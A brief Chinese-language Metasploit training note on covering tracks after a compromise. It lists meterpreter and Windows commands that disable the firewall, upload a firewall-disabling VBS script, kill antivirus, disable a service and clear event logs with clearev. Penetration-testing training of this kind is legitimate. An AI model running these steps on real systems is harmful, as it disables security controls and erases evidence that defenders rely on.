Metasploit训练基础-清除痕迹

清除痕迹

下一个阶段是借助日志删除清除痕迹，以及禁用防火墙和防护系统以保持隐蔽状态。

打开meterpreter连接会话

查看防火墙状态

run getcountermeasure

或者打开shell

netsh firewall show opmode

改用

netsh advfirewall firewall

关闭防火墙

netsh firewall set opmode mode=disable

上传脚本文件，关闭防火墙

upload <源文件位置> <目标文件位置>

upload /root/desktop/disable.vbs c:\

关掉杀毒软件

run killav

tasklist

筛选服务

tasklist /svc | find /I "svchost"

查看服务的属性

sc queryex WpnUserService_ac9f1

禁用服务进程

sc config WpnUserService_ac9f1 start=disabled

参数说明

reboot

重启系统

清除日志事件

clearev

新的模块，新的系统已经在更新，请了解新的信息。